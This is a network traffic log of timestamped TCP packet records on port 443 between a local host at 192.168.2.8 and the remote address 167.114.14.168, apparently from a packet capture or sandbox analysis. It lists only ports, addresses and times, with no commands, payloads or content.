Oct 2, 2024 06:11:34.537625074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.537641048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.537710905 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.537715912 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.537755966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.537775993 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.556910038 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.621975899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.622011900 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.622056007 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.622064114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.622116089 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.622437000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.622453928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.622490883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.622495890 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.622526884 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.622550011 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.622953892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.622983932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.623011112 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.623016119 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.623049021 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.623068094 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.623297930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.623327971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.623363018 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.623367071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.623416901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.624102116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.624118090 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.624181986 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.624187946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.624224901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.624303102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.624316931 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.624372959 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.624378920 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.624420881 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.624608994 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.624629021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.624669075 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.624675035 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.624705076 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.624718904 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.628457069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.628479958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.628520012 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.628525972 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.628563881 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.628578901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.629296064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.712685108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.712718010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.712768078 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.712821007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.712836027 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.712869883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.713216066 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.713244915 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.713275909 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.713282108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.713315010 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.713335991 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.713741064 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.713759899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.713808060 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.713813066 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.713852882 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.714051008 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.714067936 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.714129925 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.714135885 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.714368105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.714641094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.714657068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.714713097 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.714718103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.714766979 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.714766979 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.714941025 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.714956999 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.715009928 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.715014935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.715058088 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.715590954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.715606928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.715648890 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.715653896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.715687990 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.715707064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.719187975 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.719206095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.719259024 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.719269991 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.719316006 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.803699970 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.803719044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.803792953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.803805113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.803852081 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.804064989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.804081917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.804131985 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.804141045 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.804184914 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.804560900 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.804577112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.804614067 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.804619074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.804642916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.804658890 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.805068016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.805087090 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.805129051 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.805135012 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.805174112 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.805193901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.805377960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.805407047 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.805433035 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.805438042 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.805464029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.805489063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.805875063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.805891037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.805942059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.805948019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.806004047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.806502104 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.806524038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.806577921 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.806582928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.806606054 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.806623936 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.810116053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.810132980 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.810178041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.810184002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.810216904 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.810235977 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.894181013 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.894218922 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.894270897 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.894279957 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.894308090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.894330025 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.894591093 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.894622087 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.894653082 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.894658089 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.894691944 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.894707918 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.895000935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.895016909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.895064116 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.895067930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.895097017 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.895118952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.895345926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.895361900 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.895416975 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.895423889 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.895445108 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.895466089 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.895756006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.895771027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.895806074 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.895811081 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.895848989 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.895860910 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.896265984 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.896294117 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.896331072 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.896336079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.896361113 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.896387100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.896518946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.896533966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.896569967 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.896574974 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.896641970 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.896650076 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.900312901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.900768995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.900784016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.900861979 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.900867939 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.900912046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.985120058 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.985152006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.985193014 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.985209942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.985239029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.985274076 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.985619068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.985636950 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.985692024 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.985697985 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.985739946 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.986052990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.986087084 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.986114979 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.986119032 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.986150026 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.986164093 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.986643076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.986658096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.986706018 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.986710072 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.986743927 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.986778021 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.986937046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.986952066 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.987003088 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.987009048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.987055063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.987329960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.987350941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.987410069 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.987416029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.987454891 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.987535954 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.987786055 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.987811089 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.987844944 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.987849951 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.987900019 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.988014936 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.992448092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.992475986 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.992532015 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.992537975 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.992567062 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.992587090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.076901913 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.076920033 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.076972961 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.076982021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.077023029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.077621937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.077637911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.077697992 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.077702999 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.077745914 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.078280926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.078295946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.078361034 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.078366995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.078460932 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.078753948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.078769922 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.078830004 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.078835964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.078879118 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.079484940 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.079500914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.079560041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.079566002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.079607964 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.080049038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.080065966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.080138922 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.080142975 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.080187082 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.080697060 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.080713987 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.080758095 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.080763102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.080790997 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.080816984 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.082911015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.082926989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.082983971 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.082988977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.083040953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.167622089 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.167644978 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.167758942 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.167758942 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.167793036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.167840004 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.168329000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.168361902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.168394089 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.168400049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.168436050 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.168452978 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.168637991 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.168661118 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.168719053 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.168725014 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.168773890 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.168936968 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.168952942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.169014931 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.169022083 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.169059992 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.169189930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.169212103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.169254065 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.169260979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.169291019 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.169331074 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.169991970 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.170008898 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.170070887 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.170077085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.170133114 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.170216084 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.170247078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.170296907 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.170303106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.170345068 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.170356989 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.173316002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.173332930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.173384905 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.173392057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.173435926 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.258160114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.258189917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.258235931 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.258246899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.258285046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.258299112 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.258595943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.258610010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.258662939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.258671045 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.258718967 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.259084940 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.259100914 CEST	443	49723	167.114.14.168	192.168.2.8
